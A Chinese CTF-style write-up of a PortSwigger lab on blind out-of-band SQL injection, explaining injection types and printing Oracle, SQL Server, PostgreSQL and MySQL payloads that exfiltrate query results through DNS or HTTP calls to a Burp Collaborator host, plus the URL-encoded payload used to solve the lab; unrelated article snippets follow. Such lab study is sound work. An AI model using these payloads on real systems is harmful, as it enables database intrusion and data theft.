一、题目分析

该实验室存在一个盲 SQL 注入漏洞。该应用程序使用跟踪 cookie 进行分析,并执行包含所提交 cookie 值的 SQL 查询。该 SQL 查询是异步执行的,不会对应用程序的响应产生影响。不过,我们可以与外部域触发非带内交互。要解决此漏洞,需利用 SQL 注入漏洞,从而引发对 Burp Collaborator 的 DNS 查询操作。同时PortSwigger靶场提醒我们注意为防止 Academy 平台被用于攻击第三方,他们的防火墙会阻止实验室与任意外部系统的交互。要解决此问题,我们必须使用 Burp Collaborator 的默认公共服务器。

接下来我们引入一下sql注入的类型理论知识为我们解决本关打下基础

二、SQL 注入的类型

SQL 注入是一种常见的网络安全漏洞,攻击者通过在应用程序的输入字段中插入恶意的 SQL 代码,从而干扰应用程序对其数据库的查询。这可能导致数据泄露、数据篡改,甚至完全控制数据库服务器。

SQL 注入主要分为以下几种类型:

1. 带内(In-band)SQL 注入

带内 SQL 注入是最常见也是最直接的类型,攻击者可以使用相同的通信渠道发送攻击和接收结果。它又可以细分为:

  • 基于错误的 SQL 注入 (Error-based SQLi): 攻击者故意使数据库返回错误消息,这些错误消息中包含了敏感信息(如数据库结构、列名等)。通过分析这些错误,攻击者可以逐步推断出数据库的布局。

  • 基于联合查询的 SQL 注入 (Union-based SQLi): 攻击者利用 UNION 运算符将一个恶意的 SELECT 查询的结果与原始查询的结果合并。这使得攻击者能够从数据库中检索任意数据,并将其显示在应用程序的正常输出中。

2. 推断(Inferential)SQL 注入 (也称为盲注入)

推断 SQL 注入发生在攻击者无法直接从数据库获取数据的情况下。相反,攻击者根据应用程序响应的行为或时间来推断数据库的信息。这种类型的注入通常需要更长的时间来执行,但仍然非常有效。

  • 基于布尔的盲注入 (Boolean-based Blind SQLi): 攻击者发送一系列 SQL 查询,这些查询会根据结果的真假导致应用程序的响应有所不同(例如,页面显示或不显示)。通过观察这些布尔响应,攻击者可以逐个字符地推断出数据库中的数据。

  • 基于时间的盲注入 (Time-based Blind SQLi): 攻击者发送的 SQL 查询中包含一个时间延迟函数(如 SLEEP()BENCHMARK())。如果查询中的条件为真,数据库将执行延迟,从而导致应用程序响应时间变长。攻击者通过测量响应时间来判断条件是否成立,以此推断出数据。

以上两种SQL注入我们都在之前的靶场学习过了,接下来我们来学习带外sql注入,这关主要是让我们浅浅尝试

3. 带外(Out-of-band)SQL 注入

带外 SQL 注入是一种不常见的类型,它发生在攻击者无法使用与应用程序相同的通信渠道获取结果时。在这种情况下,攻击者利用数据库服务器的某些功能(如 DNS 查询或 HTTP 请求)将数据发送到自己控制的外部服务器。这种攻击通常用于无法通过带内或推断技术提取数据的高级场景。

  • 通过 DNS 请求的带外 SQL 注入: 攻击者利用数据库的某些函数(如 LOAD_FILE()UTL_HTTP)触发一个 DNS 查询到攻击者控制的域名。查询的子域名部分可以编码从数据库中提取的数据。

  • 通过 HTTP 请求的带外 SQL 注入: 攻击者使数据库服务器向攻击者控制的 HTTP 服务器发送请求,请求中包含了从数据库中提取的数据。

本关就是考察通过 DNS 请求的带外 SQL 注入。

三、带外注入语句

在butpsuite提供的cheat-sheet中,给出了各个数据库的外带语句:

下面是针对不同数据库的语句解释:

1. Oracle

SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://' || (SELECT YOUR-QUERY-HERE) || '.BURP-COLLABORATOR-SUBDOMAIN/">%remote;]>'),'/l1') FROM dual
  • 原理:利用 XML 类型解析错误来触发外部 HTTP 请求。

  • 解释

    1. EXTRACTVALUE(xmltype(...),'/l1'):这是一个 XML 解析函数,用于从 XML 数据中提取值。

    2. xmltype(...):这部分构造了一个畸形的 XML 文档,其中包含一个外部实体引用 <!ENTITY % remote SYSTEM "http://...">

    3. (SELECT YOUR-QUERY-HERE):这是你的注入查询,例如 (SELECT password FROM users WHERE username='admin')。它的结果会被拼接到 URL 中。

    4. .BURP-COLLABORATOR-SUBDOMAIN/:这是 Burp Collaborator 生成的唯一子域名。当 Oracle 尝试解析这个外部实体时,它会向该 URL 发送一个 HTTP 请求。

  • 结果:这里利用了 XML 解析器“需要”访问外部资源来完成解析的这一特性,而不是依赖于传统的 SQL 注入。即使解析最终会失败(因为 XML 文档结构不完整),在解析器尝试加载外部实体的那个瞬间,数据就已经被发送出去了。如果注入成功,Oracle 数据库会向一个包含查询结果的 URL 发送请求,攻击者可以在 Burp Collaborator 上接收到这个请求,从而获取数据。

2. Microsoft SQL Server

declare @p varchar(1024);set @p=(SELECT YOUR-QUERY-HERE);exec('master.xp_dirtree //'+@p+'.BURP-COLLABORATOR-SUBDOMAIN/a'')
  • 原理:利用 xp_dirtree 系统存储过程来触发 UNC 路径访问,从而导致 DNS 请求。

  • 解释

    1. declare @p varchar(1024);set @p=(SELECT YOUR-QUERY-HERE);:声明一个变量 @p 并将你的注入查询结果赋值给它。

    2. exec('master.xp_dirtree //'+@p+'.BURP-COLLABORATOR-SUBDOMAIN/a''):执行一个存储过程 xp_dirtree,它通常用于列出文件目录。这里巧妙地利用它来尝试访问一个网络共享路径。

    3. //'+@p+'.BURP-COLLABORATOR-SUBDOMAIN/a'':这是一个 UNC 路径(网络共享路径),它将你的查询结果 @p 嵌入到主机名中。

  • 结果:当 SQL Server 尝试访问这个 UNC 路径时,它会先执行一个 DNS 查询来解析主机名,这个查询包含了你的数据。攻击者可以在 DNS 服务器(如 Burp Collaborator)上捕获这个查询。

3. PostgreSQL

create OR replace function f() returns void as $$
declare c text;
declare p text;
begin
SELECT into p (SELECT YOUR-QUERY-HERE);
execute c := 'copy (SELECT '''') to program ''nslookup '||p||'.BURP-COLLABORATOR-SUBDOMAIN''';
end;
$$ language plpgsql security definer;
SELECT f();
  • 原理:创建一个临时函数,利用 copy 命令来执行外部程序 nslookup,从而触发 DNS 查询。

  • 解释

    1. create OR replace function f() ...:创建一个临时的 PL/pgSQL 函数 f()

    2. SELECT into p (SELECT YOUR-QUERY-HERE);:将你的注入查询结果存储到变量 p 中。

    3. execute c := 'copy (SELECT '''') to program ''nslookup '||p||'.BURP-COLLABORATOR-SUBDOMAIN'''';:这是核心部分。copy ... to program ... 命令通常用于将查询结果导出到外部程序。这里它被滥用,通过 nslookup 命令向一个包含查询结果的域名发送 DNS 请求。

  • 结果:执行 SELECT f() 时,函数会执行 nslookup 命令,向包含查询结果的子域名发起 DNS 请求。

4. MySQL (Windows only)

SELECT YOUR-QUERY-HERE INTO OUTFILE '\\\\BURP-COLLABORATOR-SUBDOMAIN\a'
  • 原理:利用 INTO OUTFILE 语句将查询结果写入到一个网络共享路径,从而触发 DNS 查询。

  • 解释

    1. SELECT YOUR-QUERY-HERE INTO OUTFILE ...:将你的查询结果写入一个文件。

    2. \\\\BURP-COLLABORATOR-SUBDOMAIN\a:这是一个 UNC 路径。由于 MySQL 在 Windows 上执行此操作,它会尝试访问这个网络路径,并触发一个 DNS 查询来解析域名。

  • 结果:与 SQL Server 类似,MySQL 会向 Burp Collaborator 域名发送 DNS 请求,从而泄露查询结果。这个方法只在 MySQL 服务运行在 Windows 系统上时才有效。


5、开始尝试

我们从oracle开始尝试,只需要将.BURP-COLLABORATOR-SUBDOMAIN换成生成的地址。

'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a///5syvatdg4musou1rj8t1c03qxh38rzfo.oastify.com/">+%25remote%3b]>'),'/l')+FROM+dual--

四、成功通关

学习参考:归去来兮-zangcc  【送书活动第2期】打靶Portswigger系列—— 一口气通关18个SQL注入靶场详细流程(文末送书)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/pingmian/94375.shtml
繁体地址,请注明出处:http://hk.pswp.cn/pingmian/94375.shtml
英文地址,请注明出处:http://en.pswp.cn/pingmian/94375.shtml

如若内容造成侵权/违法违规/事实不符,请联系英文站点网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

笔试-笔记3

1.在以下声明中哪一个表示“指向常量的指针”(指针指向的内容不能修改)&#xff1f; A.char* const p B.const char* p C.char *p const D.char const p 解析&#xff1a; 选B&#xff0c;const修饰的变量为常量&#xff0c;意味着不能修改 A是常量指针&#xff0c;const修饰的…

Linux正则表达式

文章目录一、Linux正则表达式与三剑客知识1.什么是正则表达式&#xff1f;2.为什么要学习正则表达式&#xff1f;3.有关正则表达式容易混淆的事项4.学习正则表达式注意事项5. 正则表达式的分类5.1 基本的正则表达式&#xff08;BRE&#xff09;集合6. 正则表达式测试题7. 扩展正…

MATLAB Figure画布中绘制表格详解

文章目录 1 使用uitable创建带有样式和颜色映射的表格 2 使用imagesc和text创建自定义表格 3 使用patch和text创建完全自定义的表格 4 代码详细讲解 4.1 使用uitable 4.2 使用imagesc和text 4.3 使用patch和text 5 颜色映射技巧 5.1 使用内置颜色映射 5.2 自定义颜色映射函数 5…

Python在语料库建设中的应用:文本收集、数据清理与文件名管理

一、问题的提出在日常语言学习与教学中&#xff0c;语料库是一个不可或缺的工具。它可以帮助我们查找高频词&#xff0c;获取搭配信息、例句信息、关键词信息等。由于建库过程操作步骤多&#xff0c;有时还要用到图片识别、格式转化、文本清理等技巧&#xff0c;很多人往往都止…

STL——priority_queue的使用(快速入门详细)

目录 前言 一、基本知识 二、使用 前言 priority_queue是在queue库里的&#xff0c;所以使用的时候要包含queue头文件。使用方法和堆类似&#xff0c;因为它的底层其实就是大根堆。 一、基本知识 优先队列优先级队列是一种容器适配器&#xff0c;根据一些严格的弱排序标准&…

MATLAB中函数的详细使用

一、函数基本知识function语法&#xff1a; function [,...,] myfun(,...,)&#xff0c; …

服务器初始化流程***

前言在云计算与自动化运维日益成熟的今天&#xff0c;快速、批量地部署服务器已成为常态。然而&#xff0c;一台新构建的云服务器或新安装的物理服务器&#xff0c;仅仅是一个可运行的操作系统内核&#xff0c;远未达到投入生产环境或开发测试的标准。一个缺乏标准化配置的“裸…

Python实现电商Excel读取进行可视化分析

目录专栏导读项目简介功能特性&#x1f4ca; 数据处理功能&#x1f4c8; 统计分析功能&#x1f3a8; 可视化功能&#x1f4cb; 报告生成项目结构安装和使用环境要求安装步骤使用自己的数据依赖包说明输出文件说明静态图表&#xff08;PNG格式&#xff09;交互式图表&#xff08…

肌肉力量训练

健身一年多瘦了十几斤&#xff0c;没有像上次一样吃轻食哦。每天早晨跑步或者做力量训练&#xff0c;中午和晚上吃完饭遛遛弯&#xff0c;坚持下来就好了。 但力量训练一直没有请教练&#xff0c;自己也没查资料&#xff0c;算是瞎练吧。最近发现了一本好书&#xff0c;讲解如何…

微服务-27.配置管理-什么是配置管理

一.配置管理到目前为止我们已经解决了微服务相关的几个问题&#xff1a;微服务远程调用微服务注册、发现微服务请求路由、负载均衡微服务登录用户信息传递不过&#xff0c;现在依然还有几个问题需要解决&#xff1a;我们发现很多微服务中的配置文件里的配置都是重复的。修改编辑…

【RAGFlow代码详解-13】RAG 管道

管道架构概述 RAG 管道由多个处理阶段组成&#xff0c;这些阶段将文本内容转换为适合智能检索的结构化知识表示&#xff1a;文档到知识图谱工作流程 主要处理工作流程通过 run_graphrag 功能将单个文档块转换为统一的知识图谱&#xff1a;GraphRAG 处理方法 RAGFlow 支持两种不…

深度学习——模型训练

以Pytorch自带的手写数据集为例。我们已经构建了一个输入层&#xff08;28*28&#xff09;&#xff0c;两个隐藏层&#xff08;128和256&#xff09;&#xff0c;一个输出层&#xff08;10&#xff09;的人工神经网络。并且结合非线性激活函数sigmoid定义前向传播的方向。class…

使用Kiro智能开发PYTHON应用程序

文章目录使用Kiro智能开发PYTHON应用程序1. 什么是KIRO&#xff1f;2. 获取KIRO3. 安装KIRO4. 用KIRO开发智能应用程序6. 推荐阅读使用Kiro智能开发PYTHON应用程序 By JacksonML KIRO是AWS亚马逊云科技旗下的独立AI产品&#xff0c;是用来开发生产级应用程序的AI IDE。 本文简…

UNIX网络编程笔记:高级套接字编程12-19

IPv4与IPv6互操作性&#xff1a;技术解析与实践指南 在网络协议演进进程中&#xff0c;IPv4向IPv6的过渡是绕不开的关键阶段。尽管IPv6凭借海量地址、更优扩展性成为发展方向&#xff0c;但IPv4设备与网络的广泛存在&#xff0c;使得二者的互操作性成为保障网络平滑演进、业务持…

同类软件对比(一):Visual Studio(IDE) VS Visual Studio Code

文章目录前言一、Visual Studio&#xff08;IDE&#xff09;是什么&#xff1f;二、Visual Studio Code 是什么&#xff1f;三、两者的相同点四、两者的不同点五、实战选择建议总结前言 Visual Studio 和 Visual Studio Code&#xff0c;它们一个是微软旗下的老牌霸主&#xf…

数据结构初阶:详解单链表(一)

&#x1f525;个人主页&#xff1a;胡萝卜3.0 &#x1f3ac;作者简介&#xff1a;C研发方向学习者 &#x1f4d6;个人专栏&#xff1a; 《C语言》《数据结构》 《C干货分享》 ⭐️人生格言&#xff1a;不试试怎么知道自己行不行 目录 顺序表问题与思考 正文 一、单链表 1.…

塞尔达传说 旷野之息 PC/手机双端(The Legend of Zelda: Breath of the Wild)免安装中文版

网盘链接&#xff1a; 塞尔达传说 旷野之息 免安装中文版 名称&#xff1a;塞尔达传说 旷野之息 PC/手机双端 免安装中文版 描述&#xff1a;忘记你所知道的关于塞尔达传说游戏的一切。在《塞尔达传说&#xff1a;旷野之息》中步入一个充满发现、探索和冒险的世界&#xff0…

【分享开题答辩过程】一辆摩托车带来的通关副本攻略----《摩托车网上销售系统》开题答辩!!

一、开题陈述 各位评委老师好&#xff0c;我是A同学。 本次我设计与实现的是基于ASP.NET的摩托车网上销售系统&#xff0c;该系统以 MySQL 为后台数据库&#xff0c;主要解决当前社会背景下用户线下看车购车困难的问题&#xff0c;同时顺应摩托车网络营销的发展趋势&#xff…

python + unicorn + xgboost + pytorch 搭建机器学习训练平台遇到的问题

1.背景前段时间&#xff0c;使用 python unicorn xgboost pytorch 写了一个机器学习训练平台的后端服务&#xff0c;根据公司开发需要&#xff0c;需具备两种需求&#xff1a;1. 可以本地加载使用&#xff1b;2.支持web服务&#xff0c;2. 使用本地加载使用2.1 问题针对第一…

Odoo 非标项目型生产行业解决方案:专业、完整、开源

概述您眼前的这张应用蓝图&#xff0c;是由 Odoo 官方金牌服务商——开源智造 (OSCG) 凭借多年在非标项目型制造领域的深厚积累&#xff0c;精心设计的 Odoo 解决方案核心流程图。它不仅体现了我们对行业复杂业务场景的深刻理解&#xff0c;更彰显了我们将先进的管理理念与强大…